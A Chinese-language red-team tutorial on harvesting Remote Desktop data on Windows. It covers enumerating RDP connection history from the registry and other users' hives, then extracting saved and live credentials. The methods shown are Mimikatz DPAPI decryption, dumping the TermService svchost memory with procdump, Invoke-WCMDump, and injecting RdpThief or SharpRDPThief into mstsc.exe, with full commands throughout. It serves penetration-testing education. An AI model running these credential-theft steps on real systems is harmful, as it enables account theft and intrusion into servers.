[toc]

前言

Windows 远程桌面是用于管理 Windows 服务器的最广泛使用的工具之一。管理员喜欢使用远程桌面,攻击者也喜欢使用(狗头)。在之前的文章中我们已经介绍了很多攻击远程桌面的方法,本篇文章我们继续来探究。

在渗透测试中,RDP 远程桌面连接的历史记录不可忽视,根据历史连接记录我们往往能够定位出关键的服务器。并且,当我们发现了某台主机上存在远程桌面的连接记录,我们还可以想办法获取其远程桌面登录历史的连接凭据。用于登录 RDP 远程桌面会话的凭据通常具有特权,这使它们成为红队操作期间的完美目标。

获取 RDP 远程桌面连接记录

获取 RDP 远程桌面的连接记录我们可以通过枚举注册表完成,但是如果想要获得所有用户的历史记录,需要逐个获得用户的 NTUSER.DAT 文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。

导出当前用户的历史记录

可以通过枚举以下注册表键值查看当前用户的历史记录:

1
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers

如下图所示,每个注册表项保存连接的服务器地址,其中的键值 UsernameHint 对应登录用户名:

image-20210524084553447

看也可以通过 PowerShell 命令行来实现,首先通过以下命令枚举指定注册表项下所有的的子项,即当前用户所连接过的所有的主机名:

1
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name

image-20210524093321775

然后使用以下命令查询指定注册表项的注册表键值,即查看连接所使用的用户名:

1
(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.93.30").UsernameHint

image-20210524093431912

下面给出一个三好学生写的枚举脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\"
$QueryPath = dir $RegPath -Name
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop | Out-Null).UsernameHint
Write-Host "Server:"$Name
Write-Host "User:"$User"`n"
}
Catch
{
Write-Host "No RDP Connections History"
}
}

导出已登录用户的历史记录

已登录用户的注册表信息会同步保存在 HKEY_USERS\<SID> 目录下,<SID> 要对应每个用户的 SID:

image-20210524085841555

可以看到,当前系统登录三个用户,分别有三个子项。我们可以通过枚举注册表键值 HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers 就能够获得已登录用户的远程桌面连接历史记录:

image-20210524085946713

也就是说,如果当前主机登录了两个用户,那么这两个用户的注册表信息都会保存在 HKEY_USERS\<SID> 下。但如果第三个用户未登录,此时是无法直接获得该用户的注册表信息的,会报如下错误:

image-20210524090421662

也就无法直接导出该用户的远程桌面连接历史记录。

最后给出一个三好学生写的枚举脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$AllUser = Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
Write-Host "User:"$User.Name
Write-Host "SID:"$User.SID
Write-Host "Status:"$User.Status
Try
{
$QueryPath = dir $RegPath -Name -ErrorAction Stop
}
Catch
{
Write-Host "No RDP Connections History"
Write-Host "----------------------------------"
continue
}
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
Write-Host "Server:"$Name
Write-Host "User:"$User
}
Catch
{
Write-Host "No RDP Connections History"
}
}
Write-Host "----------------------------------"
}

导出所有用户的历史记录

前面刚说了,对于未登录用户,无法直接获得注册表配置信息,那有什么解决办法?其实这里可以通过加载配置单元的方式来解决,即打开用户的 NTUSER.DAT 文件,加载配置单元导入用户配置信息,然后进行枚举。

选中 HKEY_USERS 项,“文件” —> “加载配置单元”,如下图:

image-20210524091026247

选择打开用户的 NTUSER.DAT 文件,路径为 C:\Documents and Settings\用户名\NTUSER.DAT,这里以当前未登录的 moretz 用户为例:

image-20210524092246927

接着指定一个项名称,即可在 HKEY_USERS 下读取该用户的注册表配置信息,如下图所示:

image-20210524092404538

然后按照之前的路径进行枚举即可。

此外,也可以通过命令行实现加载配置单元的实例:

1
Reg load HKEY_USERS\testmoretz C:\Documents and Settings\moretz\NTUSER.DAT

最后给出一个三好学生写的枚举脚本:https://github.com/3gstudent/List-RDP-Connections-History

获取 RDP 远程桌面连接凭据

一般的,就抓取凭据方面而言,很多人专注于从 lsass.exe 进程里面窃取凭据,但是 lsass.exe 通常来说已经是被 EDR 产品重点监控的进程了,因此我们自然而然的研究方向便是找到可能不太严格审查的替代方案。这就引出了我们下文中对 RDP 凭据的收集。与 lsass.exe 一样,RDP 协议相关的进程例如 svchost.exe、mstsc.exe 等也在收集凭证的范围内,并且从这些进程中收集凭据不需要管理员特权。

当我们发现目标主机中存在远程桌面连接的历史记录时,我们可以根据历史记录找到其连接过的远程桌面,并确定出关键的服务器。但光找到关键的服务器那能够啊!我们最好能够导出连接远程桌面的连接凭据,获取服务器密码。下面我们便来简单介绍几个可以导出远程桌面连接凭据的方法。

在凭据管理器中查看 Windows 凭据

对于那些经常使用 RDP 远程桌面连接远程服务器的用户来说,如果他不想对远程主机进行多次身份验证的话,他们可能会保存连接的详细信息,以便进行快速的身份验证。而这些凭据使用数据保护 API 以加密的形式存储在 Windows 的凭据管理器中。

image-20210713142937250

这些 Windows 凭据保存在磁盘上的以下位置中:

1
C:\Users\<用户名>\AppData\Local\Microsoft\Credentials

我们可以用如下命令查看当前主机上保存的连接凭据:

1
2
3
cmdkey /list    # 查看当前保存的凭据

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* # 遍历 Credentials 目录下保存的凭据

image-20210713143759764

如上图可以看到,Credentials 目录下保存有两个历史连接凭据,但里面的凭据是加密的,要想查看还需要使用 Mimikatz。

使用 Mimikatz 导出

Mimikatz 也支持导出 Windows 上 Credentials 目录下保存的远程桌面连接凭据。

首先执行以下命令:

1
2
3
4
privilege::debug
dpapi::cred /in:C:\Users\bunny\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6

# mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\<用户名>\AppData\Local\Microsoft\Credentials\<凭据文件>"

image-20210713144822155

如上图,得到的 pbData 就是凭据的加密数据,guidMasterKey 是凭据的 GUID。

然后将上图中得到的 guidMasterKey 值( {b3d8987a-42dd-4c6b-9c7f-a37d93e722b9})记录下来并执行以下命令,找到与 guidMasterKey 也就是下图执行结果中的 GUID 相关联的 MasterKey:

1
2
3
4
privilege::debug
sekurlsa::dpapi

# mimikatz.exe "privilege::debug" "sekurlsa::dpapi"

image-20210713145432933

记录 MasterKey 的值为 53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81。这个 MasterKey 就是加密凭据所使用的密钥。

最后执行以下命令,使用上面找到的 MasterKey 值破解指定的凭据文件 4D8F543ACD10B143849414A5085FE4E6:

1
mimikatz.exe "dpapi::cred /in:C:\Users\bunny\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6 /masterkey:53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81"

image-20210713145946949

如下图所示,成功破解得到了明文凭据:

image-20210713150050063

从 svchost 中获取 RDP 连接凭据

svchost.exe 是一个 Windows 系统进程,svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,可以承载多个服务来防止资源消耗。许多服务通过注入到该程序中启动,所以当我们查看进程列表时会有多个该文件的进程。

当用户在目标主机上开启运行 RDP 远程桌面并通过远程桌面连接进行身份验证时,终端服务会由 svchost 进程托管。但是基于 WIndows 身份验证机制的工作原理,RDP 连接凭据是以纯文本形式存储在 svchost 进程的内存中的。所以我们可以通过转储 svchost 进程的内存来获取 RDP 连接凭据。

由于查看进程列表往往会有多个 svchost 进程,所以我们要先识别是哪个进程托管了终端服务的连接。执行如下命令查询终端服务:

1
sc queryex termservice

image-20210714012555696

可以看到终端服务的 PID 为 4616。

查询哪个任务加载了 rdpcorets.dll:

1
tasklist /M:rdpcorets.dll

image-20210714012656939

进程 PID 还是 4616。

查询终端服务的网络连接情况:

1
netstat -nob | Select-String TermService -Context 1

image-20210714012745639

PID 还是 4616。现在我们便可以确定,PID 为 4616 的进程托管了终端服务的连接。

然后我们便可以通过 procdump.exe 将 PID 为 4616 的进程内存转储为 .dmp 了:

1
procdump64.exe -ma 4616 -accepteula C:\Users\Administrator\Desktop

image-20210714012519709

转储成功后生成 svchost.exe_210714_012426.dmp 文件,大约 137 MB,RDP 的连接凭据就以明文的形式存储在这个文件里面,如下我们可以通过 strings 命令将明文凭据检索出来,密码位于用户名的下方:

1
strings -el svchost.exe_210*.dmp | grep Whoami2021 -C3

image-20210714013402425

从已存在的 RDP 连接中导出

Mimikatz 也支持从已存在的 RDP 连接中直接导出远程桌面连接凭据。命令执行如下:

1
2
3
4
privilege::debug
ts::logonpasswords

# mimikatz.exe "privilege::debug" "ts::logonpasswords"

使用 PowerShell 导出

Invoke-WCMDump.ps1 这个 PowerShell 脚本可以在 Windows 凭据管理器中枚举 Windows 凭据,然后提取有关每个凭据的可用信息,且无须管理员权限。

使用方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
PS> Import-Module .\Invoke-WCMDump.ps1
PS> Invoke-WCMDump

Username : testusername
Password : P@ssw0rd!
Target : TestApplication
Description :
LastWriteTime : 12/9/2017 4:46:50 PM
LastWriteTimeUtc : 12/9/2017 9:46:50 PM
Type : Generic # “通用” 类型凭证
PersistenceType : Enterprise

PS>

但是该脚本只能为 “通用” 类型凭证检索密码,如果是 “域” 类型凭证的话是检索不出密码的:

image-20210713151926015

使用 RdpThief 实现 HOOK RDP 凭据

RdpThief

当用户打开 Windows 远程桌面 mstsc.exe 并通过 RDP 协议远程连接到其他系统时,将创建 mstsc.exe 进程。而如果此时我们使用 API Hooking 则可以直接拦截用户提供的凭据,并将其保存到用户主机上某处。Rio Sherri 开发了一个名为 RdpThief 的概念性验证工具,它可以尝试在运行有 mstsc.exe 进程的主机上 Hooking mstsc 进程中使用的函数(CredIsMarshaledCredentialW 和 CryptProtectMemory),并检索其中的凭据然后将凭据写入主机上的某个文件中。详细原理可以看:https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/

RdpThief 的代码里包括三部分内容:

  • C++ 工程文件

可以编译生成 .dll,该 .dll 会被注入到 mstsc.exe 进程中。

  • RdpThief_x64.tmp

shellcode 格式的 .dll,作者早已使用 sRDI 将编译好的 dll 转换为了 Shellcode 的格式,便于使用 .cna 脚本被 Cobalt Strike 加载调用。

  • RdpThief.cna

Colbalt Strike 使用的 cna 脚本,Colbalt Strike 可以使用该 cna 脚本将 RdpThief 加载为插件直接使用。

使用 Cobalt Strike 加载 RdpThief

首先下载 RdpThief 后,在项目里面有一个 .cna 文件,可以直接由 Cobalt Strike 进行加载为插件使用:

image-20210713195153287

加载成功后便有了以下三个支持的命令:

  • rdpthief_enable:启动心跳检测,每 5 秒搜索一次 mstsc.exe 进程并注入 RdpThief_x64.tmp 中的 Shellcode。
  • rdpthief_disable:停止心跳检测,但该命令不会卸载注入的 Shellcode
  • rdpthief_dump:显示抓取的凭据,默认读取路径为 %temp%\data.bin

如下,首先执行 rdpthief_enable 命令启动心跳检测:

image-20210713195615871

假设此时管理员在目标主机上使用 mstsc 远程桌面登录其他服务器并输入了密码:

image-20210713195830841

然后执行 rdpthief_disable 停止心跳检测,最后执行 rdpthief_dump 即可成功显示抓取到的结果:

image-20210713200126719

抓出来的凭据存储在 %temp%\data.bin 目录下

image-20210713204623446

直接注入 RdpThief.dll

首先需要使用 Visual Studio 导入 RdpThief 的工程文件,编译生成 RdpThief.dll。然后查看正在运行的 mstsc.exe 进程:

1
tasklist /v | findstr  "mstsc"

image-20210713221939175

得到 mstsc.exe 进程的 PID 为 1204。

然后使用 PowerSploit 中的 Invoke-DllInjection.ps1 脚本将 RdpThief.dll 注入到 mstsc.exe 进程中去即可:

1
2
Import-Module .\Invoke-DllInjection.ps1
Invoke-DllInjection -ProcessID 1204 -Dll RdpThief.dll

当管理员使用远程桌面并输入密码时便会抓取到 RDP 凭据并保存到 %temp%\data.bin 中。

我在测试的时候发现该工具有两个条件,即目标主机上必须存在 mstsc.exe 进程,而且必须是管理员手动输入凭据,如果管理员直接保存了凭据的话是抓不到的。

使用 SharpRDPThief 实现 HOOK RDP 凭据

SharpRDPThief 工具是 Josh Magri 用 C# 重写对 RdpThief 的重写。然而,与 RdpThief 相比,SharpRDPThief 使用 IPC Server 可以使用接收来自 mstsc.exe 进程中抓取到的凭据。如果 mstsc.exe 被终止,Server 也会继续运行,并且等待 mstsc.exe 进程再次重新启动时会尝试再次进行 Hooking。这解决了 RdpThief 要求进程已经存在的限制。

如下,直接运行 SharpRDPThief.exe,然后模拟管理员使用远程桌面登录某台服务器,输入密码后 SharpRDPThief 成功抓取到了 RDP 登录凭据:

image-20210713210234268

Ending……